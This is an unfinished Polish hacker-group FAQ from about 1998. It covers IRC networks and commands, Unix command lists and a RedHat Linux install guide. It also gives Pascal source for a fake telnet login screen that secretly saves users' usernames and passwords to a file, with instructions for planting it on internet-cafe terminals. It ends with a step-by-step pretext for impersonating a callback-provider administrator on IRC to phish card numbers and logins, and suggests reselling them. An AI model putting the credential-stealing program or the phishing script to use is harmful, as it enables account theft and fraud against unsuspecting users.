 IS FAQ issue 1 not last i think [pl version] !!!! unfinished !!

 robocza versja

 --------=== hack, phreak & other fucking jobs ===--------

               ___         ______

           -- /   \  ---  /  ____| -------- --- -- -

          -  /    / ---   \_______    -------  --- --

        --  /____/ nsane -  _____ \  -------- --- -- -

         --- --- --- -- -  |______/ ociety -- ----- -

 --------=== hack phreak & other fucking jobs ===---------

        Contact :

        RaveMan                          ErrOR

        raveman@netshop.pl              error@free.net.pl

        www.raveman.z.pl                 www soon !

 warning ... faq ten powstal z mysla tylko o poprawieniu twojej wiedzy

        na tematy zwiazane z hackiem, czyli sluza w celu edukacyjnym.

        Z tego wynika to, ze nie powinienes robic tego o czym sie

        ponizej pisze, a wiec nie czujemy sie odpowiedzialni jesli

        wpadniesz. Po prostu badz zawsze spokojny i przestrzegaj ogolnie

        znanych zasad
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NO WIEC ZACZYNAMY:

Moze zaczniemy od tego ze nasza grupa (MYSTIC SOCIETY czytaj: mistik

sosajeti) powstala 9.III.98 i to jest nasz pierwszy faq :) wiec nie

fakaj pls juz na samym poczatku. Jezeli znajdziesz jakies bledy czy

nieporozumienia lub calkowite przekrety wyslij mail'a na nasz adres.

1. IRC

2.1 Krotkie info na temat IRC

Co to jest IRC chyba nikomu tlumaczyc nie trzeba ;)

Jednak zastanowmy sie jak funkcjonuje siec IRC.


   Schemat najprostszej sieci IRC 


 _________      _________     _________


| KLIENT1 |____| SERWER2 |___| KLIENT3 |


|_________|    |_________|   |_________|




   |


 _________      ___|_____     _________


| SERWER1 |____| SERWER3 |   | KLIENT4 |


|_________|    |_________|   |_________|


     |             |   __________|


 ____|____      ___|__|__     _________


| KLIENT2 |    | SERWER4 |___| KLIENT5 |


|_________|    |_________|   |_________| 

  A wiec IRC to siec wielu serwerow i podlaczonych do nich klientow.

Mowiac, o sieci nalezy wspomiec tez o netsplitach wystepujacych miedzy

poszczegolnymi serwerami. To ciekawe zjawisko mozna wykorzystac na przyklad..

do przejecia kanalu. Nie bede opisywal tej metody,bo napewno jest ona kazdemu

dobrze znana, odsylam do innych FAQ. Z zasady serwery IRC to maszyny pracujace

na systemach UNIX. Sa one nadzwyczaj dobrze zabezpieczone - udostepnione sa 

tylko porty dla IRC, chociaz zdarzaja sie od czasu do czasu wlamania .

Na przyklad ostatnio byla proba wlamania sie do servera gothic.dal.net i..

udalo sie ;)

  Znanych jest wiele sieci IRC. Jedna z najstarszych grup byl EFnet.

Zyskal sobie bardzo duzo popoularnosc i urosl do takich rozmiarow ze musial

sie podzielic. Pod nazwa EFnet kryje sie siec serwerow amerykanskich i

europejskich. Do sieci amerykanskiej nalezy tez wiele serwerow kanadyjskich

czy australijskich. Do sieci europejskiej naleza rowniez serwery z polski :

 - krakow.irc.pl

 - poznan.irc.pl

 - warszawa.irc.pl

 - lublin.irc.pl

Inne serwery europejskie i amerykanskie nalezace do tej grupy to:

 - irc.funet.fi

 - irc.nada.kth.se

 - irc2.magic.ca

 - irc.phoenix.net

Inna znana siecia IRC jest UNDERNET. Jest ona bardziej zorganizowana niz

EFnet i wprowadzono do niej wiele udogodnien np. NickServ.

Najpopularniejsza chyba obecnie siecia jest jednak DALnet. Siec ta powstala

na poczatku roku 1995. Jej zalozycielem byl Dalvenjah FoxFire, ktoremu nie

podobala sie pewnie siec EFnet i postanowil uruchomic wlasna ;) Jego celem

bylo zaprowadzenie porzadku i organizacji. Wprowadzil dostepne serwisy tj.

ChanServ, NickServ, MemoServ, HelpServ. Siec ta skupia dziesiatki serwerow

amerykanskich i europejskich. W Polsce niestety nie ma jeszcze serwera IRC,

ale doszly mnie sluchy ze niektorzy nad tym pracuja ;) By przylaczyc sie do

takiej sieci trzeba spelniac szereg wymagan postawionych przez operatorow

tych sieci. Szerzej opisane jest to na stronie Dalnetu.

Najpopularniejsze serwery IRC ssieci DALnet:

 - liberator.dal.net 6668, 7000

 - voyager.dal.net 6668-7000

 - phoenix.dal.net 7000-7003

 - toronto.dal.net 6667-7000

 - spider.ca.us.dal.net 6667,6669

Znane sa rowniez inne mniejsze grupy IRC

 - ICEnet (acid.uk.icenet.org ; phat.us.icenet.org 6667)

 - newnet (irc.ucs.net ; irc.mol.net.my ; irc.limited.net)

 - FEFnet (irc.limited.net 6667)

 - GalaxyNet (atlanta.ga.us.galaxynet.org 6667)

 - StarLink (glen.vc.au.starlink.org)

Smutna prawda ;)

        Na samym poczatku chcielbysmy wyjasnic, ze wszystkie te:

cat /etc/passwd sa gowno warte bo wszystkie serwery maja juz shadowane

hasla czyli sa one w pliku shadow, a cat /etc/shadow nie zrobimy

poniewaz musimy miec uprwanienia roota ktorego nie mamy <--- chcialem

sie tu odniesc glownie do Hellfire'a, ktory w swoim FAQ stwierdzil:

zeby podgladnac plik passwd napisz: cat /etc/passwd , a jesli zamiast

zakodowanych hasel beda * (gwiazdki) to wtedy hasla sa w pliku shadow

czyli piszemy: cat /etc/shadow . Jak mozna podgladnac plik shadow

do ktorego uprawnienia ma tylko ROOT !!! Hehe nie ma sie jednak co

zalamywac. A jak ktos ma ochote to moze sprawdzic i to :))

Teraz troche teorii i praktyki: ----> taki szybki tutorial :)

    Po pierwsze przydalo by sie nam jakies konto unixowe, teraz jak

to pisze to wpadly mi na mysl wlasnie 2 polskie serwery ktore zakladaja

darmowe konta unixowe, www.xox.pl 2 MB konto unixowe, i www.free.net.pl 

10 MB konto unixowe :) Gdy juz sobie zalozysz koncicho nalezaloby sie 

zalogowac, sluza do tego 2 programy, telnet i ssh, na xox'a

mozna sie logowac tylko przez ssh, ktory mozna sciagnac z www.xox.pl,

a telnet mamy od razu w windowsie :) Logujemy sie na host danego serwera,

na xox to jest xox.pl a na free to free.net.pl, po zalogowaniu oczywiscie

wpisujemy nasz login i haslo i jestesmy w sysytemie :) "We've got the power" :)

Komendy unixowe:

at       - [czas] [data] <[plik] wykonywanie czynnosci w zadanym czasie

cal      - wyswietla kalendarz

cat      - przeglada plik cos w stylu dosowego type. np: cat /etc/passwd ;)

cd       - zmiana katalogu,  cd .. cofanie sie

chfn     - zmienia informacje fingera

chmod    - [mode] [plik] - zmiana dostepow do pliku.

chown    - [nick] [plik] - zmiana wlasciciela pliku. 

clear    - czyszczenie zawartosci ekranu    

cmp      - [plik] [plik] - porownywanie zawartosci dwoch plikow

cp       - [plik] [plik] - kopiowanie plikow

date     - wyswietlanie biezacej daty

df       - disk free , pokzuje ilosc miejsca na dysku

diff     - [plik] [plik] - pokazywanie roznicy miedzy dwoma plikami.    

echo     - wyswitla tekst, zmienne, wyniki dzialania programu

find     - [poczatek] -name [nazwa] - poszukiwanie plikow 

finger   - [username] - informacje o uzytkowniku.

ftp      - program ftp kilka najwazniejszych komend:


   open host ,get [plik] pobierz plik, send [plik] wyslij plik, hash-


   wyswietlanie # po 1024 bajtach, bye konczy sesje, help pomoc

gcc      - [plik] kompilacja cc

g++      - [plik] kompilacja c++  

cc       - [plik] kompilacja cc  

grep     - [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakims wyrazem.

gunzip   - guznip [plik] - dearchiwizacja

help     - pomoc

irc      - uruchomienie klienta irc. (zazwyczaj IrcII )

kill     - ma powiazania z ps , moze zabijac procesy w pamieci korzystjac z


   numeru PID. kill PID, lub kill -9 PID ( patrz ps)

last     - [nazwa uzytkownika] - sprawdza logi uzytkownika

lastcomm - [nazwa uzytkownika] - sprawdza co ostatnio robil uzytkownik.

ln       - [plik] [plik]- link , w stosunku do katalogow , link symbol. -s

logout   - wylogowanie sie

ls       - wyswietla pliki i katalogi ls -l daje wiecej info, -a - ukryte 

man      - [komenda] - szczegolowa pomoc na temat konkretnej komendy

mail     - czytanie poczty

mesg     - zablokowanie lub odblokowanie wywolywania komunikatow

mkdir    - [katalog]tworzenie nowego katalogu.

mount    - [/dev/urzadzenie] [katalog docelowy] montowanie danego urzadzenia

mv       - [plik] [plik] -zmiana nazwy pliku, lub przeniesienie do innego kat.

passwd   - zmiana hasla uzytkownika.

ps       - pokazuje co robisz w pamieci i jaki to ma numer (PID)


   PID  TTY  NAME


   155  001  tcsh


   200  001  watch


   mozna uzywac przelacznikow -l, -aux

pwd      - pokazuje bierzacy katalog

rm       - [plik], kasuje plik ( rm -r )

rmdir    - kasuje katalog gdy jest pusty.

rwho     - to samo co who.

set      - ustawienie zmiennych set

screen   - odpalenie procesu w tle, by wyjs nie zakanczajac sesji


   ctrl+a, ctrl+d -> deatched , screen -x , screen -r pid -> atached

shutdown - shutdown now, shutdown -rfn now, reset

size     - wyswietlenie wielkosci pliku

sleep    - zawieszenie procesu na podana liczbe sekund

talk     - program do prowadzenia rozmow

tar      - tar -xvf plik.tar - roztarowywanie pliku.


 - archiwizacja - tar -cvf [plik]

telnet   - praca na zdalnym komputerze 

umount   - ma scisly zwiazek z mount, odmontowanie urzadzenia.

w        - [nazwa uzytkownika] - sprawdza co robi uzytkownik

who      - wypisuje info o zalogowanych uzytkownikach.

who am i - kto ja jestem ( lub whoami)

write    - [login][term] - pisanie do innego zalogowanego uzytkownika.

Komendy po uruchomienia irca ze skryptem Lice:

/j [nazwa_kanalu] wchodzimy na kanal jaki chcemy,

/l wychodzimy z danego kanalu,

/op [nick] dajmey komus opa (oczywiscie jesli sami go mamy),

/dop [nick] odbieramy [jak wyzej],

/k [nick] dajmey kicka,

/kb [nick] dajemy kicka i bana,

/voc [nick] dajemy voica,

/quite [nick] odbieramy voica,

/t [topic] ustawiamy topic (temat) na kanale,

ctrl+x  to dziala jesli jestesmy pod ircem i mamy zainstalowany skrypt

        Lice (przelacza miedzy kanalami),

Teraz troche bardziej zaawansowanych komend, zazwyczaj jak nie mamy

zadnego skyptu:

/join <#kanal> - Wejscie na odpowiedni kanal, i utomatyczne wyjscie jesli

uzytkownik znajduje sie juz na innym kanale. ( zobacz set novice )

/leave <#kanal> - opuszczenie biezacego kanalu. Zamiast leave mozna podac

* co oznacza aktualny kanal

/msg <nick><tekst> - wysylanie prywatnych tekstow do wybranej osoby

/nick <nowy_nick> - zmiana biezacego nicka

/who <kanal> - informacje o osobach na wybranym kanale

/whois <nick> - informacje na temat wybranej osoby

/quit <tekst> - zakonczenie, i wyjscie z sieci

/kick <kanal><nick><powod> - po prostu kop

/admin <nazwa servera> - wyswietla informacje o serwerze

/alias <nazwa> <polecenie> - bardzo pozyteczne polecenie pozwalajace na




     tworzenie skrotow np. alias j join spowoduje




     po wpiasaniu /j #jakis_kanal wejscie na kanal

/away <tekst> - sluzy do informowania innych o naszej zajetosci

/bind <klawisz funkcja> - sluzy do tworzenia skrotow klawiszowych

/clear - czysci zawartosc ekranu

/ctcp - Client To Client Protocol - bezposrednie polaczenie miedzy klientami

/ctcp <nick> ping - podaje czas w sekundach o wyslaniu informacji do danej



    osoby, i powrot

/ctcp <nick> vrsion - informacje o wersji klienta z jakiego korzysta osoba

/ctcp <nick> time - podaje lokalny czas u osoby

/ctcp <nick> ginger - wyswietla dodatkowe informacje o uzytkowniku

/date - wyswietla aktualna date oraz godzine

/dcc - Direct Client Connection

/dcc <nick> send <plik> - wyslanie pliku do danej osoby

/dcc <nick> chat - bezposrednie polaczenie z osoba bez uzycia serwera

/exec <polecenie_systemowe> wykonuje jakies zewnetrzne polecenie 

/ignore <kogo> <co> - ignoruje informacje przychodzace od danej osoby

 PUBLIC -ignoruje wypowiedzi publiczne, danej osoby skierowane na kanal

 MSG - ignoruje wypowiedzi danej osoby na msg

 NOTICES - ignoruje komunikaty typu notice

 NOTES - ignoruje komunikaty typu note

 INVITES - ignoruje zaproszenia na kanal

 WALLOPS - ignoruje komunikaty dla operatorow

 CTCP - ignoruje wszystkie komunikaty CTCP

 CRAP - ignoruje wszystko to co powyzej wymienione

 ALL  - ignoruje wszystko od danej osoby

 NONE - wylacza ignorowanie osoby

/lastlog - wyswietla ostatnie otrzymane komunikaty (ile,zalezy od ustawien)

/load <file> - ladowanie scryptu

/lusers - wyswietla krotka statystyke dotyczaca sieci irc

/mode <kanal>/<nick> +/-<iswo> -ustawienie statusu kanalu,lub atrybutow nicka

/motd - wyswietla wiadomosc dnia

/names <kanal> - podobnie jak who

/notify <nick> - dodaje nick do listy osob o pojawieniu sie ktorych chcemy



 byc automatycznie informowani.( '-' usuwa nicka z listy)

/on <zdarzenie><komenda> - jedno z najwazniejszych polecen przy pisaniu 




   scryptow. Pozwala na automatyczne reagowanie na 




   jakies zdarzenie

/query <nick> - powoduje przejscie w tryb stalej rozmowy z dana osoba, nie



trzeba za kazdym razem pisac /msg nick (samo /query wylacza)

/redirect <nick/kanal><komenda> - przesyla wynik komendy na podany kanal lub





  do danej osoby. Mozna laczyc z /exec np.





  /redirect /exec ps -aux #polcafe

/save <nazwa_pliku> - zapisuje ustawienia programu IrcII do pliku, jesli



      nazwa nie zostala podana, to plikiem bedzie: .ircrc

/server <serwer> - laczy nas z podanym serwerem

/set <zmienna> <nowa_wartosc> - ustawia zmienne programu

 HELP_PATH - wskazuje na katalog w ktorym znajduje sie plik z pomoca

 HOLD_MODE - ustawione na ON powoduje, ze ekran automatycznie sie przewija


     po zapelnieniu tekstem.

 LASTLOG - definiuje ilosc lini wyswietlanych poleceniem lastlog

 LOG - wlacza lub wylacza zapisywanie do pliku, standardowy plik - IrcLog

 LOGFILE - nazwa pliku do ktorej bedzie zapisywany LOG

 NOVICE - standardowo ustawione na off, co ogranicza wiekszosc operacji


  zalecane ustawic na ON

 REALNAME - tekst jaki jest wyswietlany przy komendzie /whois

/topic <kanal> <temat> - zmienia temat kanalu ( jesli kanal ma +t wymaga @)

/version <nick> - wersja klienta danej osoby

/whowas <nick> - krotkie info o osbie ktora byla na IRC, ale juz jej nie ma

/window - szereg komend do ustawiania parametrow okna

  To tylko kilka najwazniejszych komend. By ulatwic sobie zycie polecam

zaladowac jakis ciekawy scrypt, ktory zautomatyzuje wiekszosc operacji.

Wazna rzecza jest rowniez ustawienie zmiennych srodowiskowych w systemie UNIX

Oto kilka najwazniejszych :

IRCNICK - domysle ustawienie nicka, przy kazdym uruchamianiu IrcII

IRCNAME - domyslne ustawienie tekstu ktory wyswietlany jest przy /whois

IRCSERVER - domyslne ustawienie servera z ktorym bedziemy sie laczyc

IRCPATH - specyfikuje katalog z ktorego pobierany bedzie plik przy /load

TERM - okresla typ terminala, moze to byc np. vt100 ;)

Ustawienie zmiennych zalezy od powloki jakiej uzywasz, w wiekszosci

przypadkow dziala takie polecenie:

<zmienna>=<wartosc>;export<zmienna> np.

IRCNAME="Jestem sobie RaveMan ;)";export IRCNAME

W przypadku innych powlok dziala polecenie :

setenv <zmienna> <wartosc> np:

setenv IRCNAME "Jestem sobie RaveMan ;)"

        Jesli interesuja was jeszcze jakies komendy, kombinacje

klawiszy lub co niektore nazwy oznaczaja ;) to napiszcie.

----------------------------------------------------------------------

A teraz najprostrzy sposob na wlam do pentagonu:

Lecimy do Waszyngtonu, gdzie znajduje sie Pentagon, przyczajamy

sie przy bramie do Pentagonu i nastepnie wyciagamy z kieszeni łom

ktorym otwieramy ów brame i juz sie wlamalismy ;)

----------------------------------------------------------------------

PODSTAWY 

I Instalacja Linux'a 

  Dlaczego Linux ?

     Jesli jeszcze nie wiesz, Linux&Unix sa systemami najczesciej uzywanymi

przez ludzi ktorzy to poprzez ciagle poznawanie tego systemu staja sie

hackerami lub adminami lub dwoma naraz (?) :) . A teraz do rzeczy.

     Cala zaloga IS poleca instalnac Linux'a RedHat'a. Oczywiscie sa ludzie,

ktorzy nie lubia redhat'a, ale to juz ich prywatna sprawa. Po pierwsze

nawet jesli nie masz connect'u z inetem to mozesz go sobie instalnac np. po

to, zeby sobie cwiczyc, poznac strukture i mniej wiecej skumac zasade dzialania.

No dobra. Jesli nie wiesz jeszcze skad wziac instalke linux'a to moge Ci

smialo powiedziec zebys nie szukal jej po piratach. A to dlatego, ze sa

juz wydania specjalne czasopism jak 'chip_special_linux' gdzie znajdziesz

to czego szukasz, czyli za kilka zeta ( jakies 20 ) masz instala, opis 

instalki i jeszcze jakis help w srodku. Mozna tez poszukac wydania 'linux+' etc.

Sa tez miejsca w internecie gdzie znajdziesz pelna ver. linuxa, ale ciagnac

tego raczej nie polecam.

Sa rozne odmiany linux'ow, ale my polecamy redhat'a wlasnie, a to dlatego ze :

 - uzywa go stosunkowo duzo osob przez co jest chyba najpopularniejszy

 - jego autorzy nie sa nastawieni na komerche dzieki czemu jest darmowy

 - suportuje dosc pokazna liczbe nowego sprzetu

 - teraz polski howto (taki obszerny help)

 - ladny jest i przyjazny jest :)

 - nie zawadza innym systemom na tym samym twardzielu

  Zdobylem CD z Linux'em i co dalej ?

    Jesli juz masz to czego potrzebujesz to pamietaj ze Linux potrzebuje

osobnej partycji na siebie ( do domowego uzytku starczy spoko ok. 400 MB).

Jesli nie stac Cie na takie zuzycie MB mozesz wybrac minimalna instalacje lub

nie instalowac wszystkiego co popadnie. Pamietaj jednak , ze w koncowym efekcie 

to czego dzieki temu systemowi sie nauczysz napewno nie pojdzie na straty.

Przyda sie tez swap-partycja czyli partycja na pamiec wirtualna. Na nia

wystarczy jakies 50 MB w dol. LinuxCD jest najczesciej plyta samobootujaca

sie wiec mozesz z niej odpalic kompa. Jesli jednak okaze sie ze tak nie jest

powinienes zrobic se dyskietke startowa linuxa. Do tego celu posluza Ci

tools'y dosowe dolaczone na plycie. Po odpaleniu CD'ka w zaleznosci od wersji

linux'a setup moze byc rozny. Zazwyczaj po drodze napotkasz program, ktory

dzieli dysk na partycje ( prawdopodobnie FDISK lub DiskDruid). Ja polecam

Druida jesli masz je do wyboru. Obsluga jest prosta. Poszczegolne opcje sa

wypisane w dolnej czesci ekranu (ang). W tym momencie prawdopodobnie zauwazysz,

ze partycje w linuxie oznaczane sa tak --> hda* gdzie '*' to numer partycji.

Partycje ktora ma szczescie byc ta linux'owa formatnij, a nastepnie oznacz

jako '/' (Mount Point). Potem juz mozesz kontynuowac instalacje. Setup powinien

poprosic cie o podanie tez swap-part. Dalej sprawa jest juz prosta. Wystarczy

teraz juz wybrac odp. pakiety do dekompresji i kontynuowac. Jesli jednak nie

wiesz co wybrac radze zaufac setupowi, ktory ma juz domyslnie ustawione pakiety

oprogramowania. Dalej program powinien automatycznie wykonac wszelkie czynnosci

zwiazane z instalacja (no moze poza kilkoma zbednymi opcjami, ktore wydaja

sie oczywiste), a takze poza LILO, ale o tym za chwile. 

Po pomyslnym zakonczeniu instalacji komp. powinien sie zrestartowac i powinien

odpalic sie Linux lub twoim oczom pojawi sie napis LILO:_ . Hmm. Co to jest to

LILO zapytasz pewnie. Otoz jest to skrot od LInuxLOader. Umozliwia on

wystartowanie jednego z systemow (liste dostepnych opcji uzyskamy po nacisnieciu

TABulatora). Konfigurowanie LILO powinno sie odbyc gdzies podczas instalacji.

Jesli wszystko poszlo zgodnie z planem powinienes ujrzec po odpaleniu Linux'a

napis (rozny w zaleznosci od wersji) :

 RedHat Linux 5.2 (Apollo)

 kernel 2.2.3 on an i586

 login:_

Tu nalezy podac uzytkownika. Z poczatku nalezy logowac sie na root'a, a password

(haslo) jest taki jaki podalismy setup'owi w czasie instalacji. Jesli okaze sie, ze 

'login incorect' to znaczy ze podales zly password. Jesli nie pamietasz jaki to byl

password wpisz w LILO tak ---> 'linux single' . Jesli to dziala na twoja wersje to

linux wystartuje w trybie single co oznacza, ze masz root'a bez hasla. Po zakonczeniu

ladowania wpisz --> 'passwd root' i podaj nowe haslo. A tak wogole to lepiej nie

zapominac swego hasla :). Po prawidlowym zalogowaniu sie powinien Ci sie pojawic

jako prompt np. ***** przez niektorych zwany znakiem zachety ;-?. To juz koniec

instalacji :). Teraz czas, abys nauczył sie podstawowych komend systemu.

--------------------------------------------------------------------------------
         Moze kilka komend (dzialaja one w wiekszosci linux'ow i unix'ow ) : 

cd              zmien katalog (jak w dosie) 

ls              wyswietla zawartosc miejsca, w ktorym sie znajdujemy (dosowe dir),

ps              pokazuje nam jakie mamy otwarte sesje

cat             wyswietla zawartosc podanego pliku (dosowe type, podglad pliku),

kill            zabija procesy, stosowana z parametrem -9 czyli kill -9 PID,

                PID to numer procesu ktory chcesz zabic, widac go po wpisaniu ps,

cp              odpowiednik dosowego copy

rm              odpowiednik dosowego del

mc              Midnight Commander (klon NortonaCommander'a) - manager plikow

chmod

zmienia dostep do pliku ( ustawia atrybuty )

irc             komenda ta powinna odpalac klienta IRC

load            laduje pliki

sh              podobne do load, stosowana np. do instalacji skryptu Lice

screen [polec]  uruchamia screen'a z danym poleceniem (np. irc lub ftp)

pico, joe, vi   proste edytoreki textowe

pine            odpala program do poczty

mail

jak wyzej

ftp

uruchamia program do obslugi ftp (file transfer protocol)

telnet [ip]
telnetujesz sie na podany IP

ssh

odpalasz secure shell

whoami          wyswietla info o twoim statuse

quota           podaje info na temat dostepu do pamieci dyskowych

mount           montuje urzadzenie (np. mount /dev/cdrom /cdrom)

unmount         odmontuje podane urzadzenie

man [polec]     pomoc do polecenia

talk

pozwala na rozmowe miedzy uzytkownikami

finger

wyswietla liste aktualnie zalogowanych uzytkownikow

finger [user]   jesli podasz jako atrybut user'a to wyswietla info o nim

passwd

zmiana hasla

adduser

dodaje uzytkownika (tylko z uprawnieniami root'a)

userdel

usuwa user'a (tylko z uprawnieniami root'a)

startx

laduje gui ( jesli jest zainstalowane )

setup

tym mozesz skonfigowac kilka rzeczy w linux'ie

linuxconf
tak jak wyzej, lecz zaawansowane nawet

yast

dziala pod suse linux'em - tez setup

--------------------------------------------------------------------------------

Po uruchomieniu screena:

Kilka kombinacji klawiszy:

ctrl+a+c        tworzy nowa sesje,

ctrl+a+a 
powraca do porzedniej sesji,

ctrl+a+_ 
( _ <-- oznacza spacje), powrace do nastepnej sesji,

ctrl+a+d 
zostawia screena na danej sesji, czyli po ponownym zalogowaniu

        
sie na konto wystarczy napisac screen -r i powroci nam do tej

        
sesji (czesto stosowane podczas screen irc :).

ctrl+a+k 
kiluje (zabija) dana sesje.

2. * Fake-telnet by RaveMan & Error

    Kazdy poczatkujacy chcial by miec konto z shellem i full dostepem,

ale jak to zrobic ? Sposob jaki tu przedstawie mozna stosowac w roznych

cafeykach internetowych, so wlasnie po to by zdobyc upragnine haselko

na konto goscia, czy cos w tym stylu. No, ale nie ma co sie rozpisywac,

odrazu napisze o co chodzi. Moze najpierw rzeczy, ktore beda nam

potrzebne. No wiec bedzie ci potrzebny programik ktory jest podany

ponizej, nalezy go skompilowac w pascalu, so bedzie ci potrzebny

tez kompilator. Dziala on na zasadzie fake-telnet'a czyli wygladem

przypomina telneta, ale zachowuje sie inaczej, czyli zamiast sie

telnetowac na konto, zapisuje login'a i password tego usera to pliku.

Mozna go zastosowac w cafe w ktorych jak przyjdziesz na terminal

jest procedurka logujaca. Jesli jest to telnet to mozesz wcisnac

Alt+X i odpalic swego fake-telnet'a z dyskietki czy jakos tak. Jak juz

zaladujesz wolasz obsluge cafe, aby ci sie zalogowala na cos tam. W

mojej okolicy loguja sie zazwyczaj na gosc ( pdi ) i na gosc1,

gosc2... ( topnet ). Oczywiscie logowanie okazalo sie nieudane, a my

mamy juz logina i password w pliku np. na dyskietce. Ponizej podaje

source programiku. Oczywiscie jest on do przerobienia w taki sposob,

aby logowanie wygladalo tak jak w twojej cafeyce, budzie czy gdzie tam

jeszcze chcesz. No dobra oto programik :

Tel-fake.pas

--- cut here ---

{ authors   : RaveMan & Error                                     }

{ dev. tool : Pascal





             }

{ comment   : progs ten jak widac nie ma zbyt wyrafinowanego codu }

{ ale nie ma to wiekszego znaczenia w tym wypadku                 }

uses crt;

var

login,pass :string;

f0 :text;

begin

clrscr;

textcolor(7);

writeln('National Center for Supercomputing');

writeln;

writeln('Alt - H presents a summary of special keys');

writeln;

writeln;

writeln('Red Hat Linux release 5.2 (Apollo)');

writeln('kernel 2.2.3 on an i586');

write('login:');

readln(login);

assign (f,'IS.txt');

rewrite (f);

write ('Password: ');

textcolor(black);

readln (pass);

write(f,'l:');

writeln(f,login);

write(f,'p:');

write(f,pass);

close (f);

textcolor(7);

delay(1000);

writeln('Login incorrect');

delay(1500);

clrscr;

end.

--- cut here ---

Oczywiscie jak zauwazyles jest to prosty progs w paszczalu wiec jak

masz troche zdolnosci mozesz go spoko przerobic. Jesli jednak nic

z codu tego nie kapujesz to naprawde zle z toba, ale pamietaj, ze nic

nie stoi na przeszkodzie, aby sie troche podszkolic w tym kierunku.

Niestety jest to progs, ktory potrzebuje dos-a, aby ruszyc, so w cafe

tez musi byc dos ;). Ale chyba nie trudno znalezc jakas lcafe, w ktorej start

terminala nastepuje z dos-a, a dopiero potem odpala sie telnet ;).

Jesli chodzi o bezpieczenstwo to najlepiej jak jest jakas lame obsluga,

bo sie nawet nie kapnie, ale z adminem tez mozna poprobowac ;).

No ok, to by bylo na tyle. Jesli masz checi mozesz wykorzystac tez

jakiegos keyrippera, czy trap'a, czy cos podobnego, ktorego tez

uruchom zanim odpali sie zwykly dosowy telnet. disconnect ....

3. Callback Free

Hi. Na wstepie musze napisac, ze sposob opisany ponizej, jest sposobem

ktory jest nawet nieco nie etyczny, ale co mamy zrobic my - uzaleznieni od

internetu goście ;) . Pomysl ten dotyczy callback-u oferowanego przez

Multinet. Otoz w naszym miescie jest taka firma wlasnie co sie tym zajmuje

w taki sposob, że sprzedaje karty z zakrytym numerem dostepu. Dzwoni sie

zawsze na ten sam numer tel. ale kazdy podaje numer z kupionej karty.

Otoz wyczyn polega na tym, aby wyciagnac od gostka najczesciej

lamera np. na irc-u haslo numer jej karty. Aby osiagnac swoj cel

wchodzimy na kanal #twoje_miasto (oczywiscie pod inna xywka niz ta,

ktorej uzywamy na codzien np. MultiNet) i sprawdzamy domeny wszystkich ludzi na

kanale (mozna to zrobic komeda np. /who *mtl*. Jak osob jest wiele,

a callback multinet jest rozpowszechniony w twoim miescie, to nie

powinienes miec problemow ze znalezieniem celu. W moim przypadku

ofiara ma domenke mniej wiecej taka target@target2.mtl.bydgoszcz.pl.

Jesli znajdziesz juz swoja ofiare powinienes wzbudzic jej zaufanie.

Mozna to zrobic w nastepujacy sposob :

 - przedstaw sie jako nowy administrator serwera callback

 - podaj swoje imie i nazwisko ( jakies prawdopodobne oczywiscie )

 - popytaj jak tam sprawuje sie konto delikwenta tzn. czy wszystko ok itp.

 - wspomnij o promocji skierowanej do user'ow multinet'u, ktora to obejmuje

   przedluzenie konta o np. 10 godzin ( mozna powiedziec tez z jakiej okazji

   np. 5 rocznica Multinet, wiosenna promocja etc. )

 - wspomnij tez, ze aby "przedluzyc" konto potrzebny ci numer i login na jego karcie,

   ktory masz wprowadzic

Jesli wszystko pojdzie po twojej mysli ofiara poda ci swoj numer i login, ktory 

jednoczesnie jest haslem. Teraz nie pozostaje ci nic innego jak tylko

sie cieszyc, a ofiara moze tylko plakac ('o') . Pamietaj tez, ze zostawiasz

potem na serwerze swoj numer telefonu wiec moga latwo ci namierzyc. Ale

zawsze mozesz puscic jakis kit, ze admin z ich servera podal ci na irc numer

jakim masz sie logowac. Poza tym mozesz tez sprzedac komus numer po okazyjnej

cenie lub np. wymienic sie na konto shellowe. Mozliwosci jest wiele jak widac.

Chociaz jak juz wspominalem jest to bardzo nie etyczne etc. ale wszystko zalezy

od Ciebie. Potraktuj ten text tez jako ostrzezenie przeciw takim przekretom.

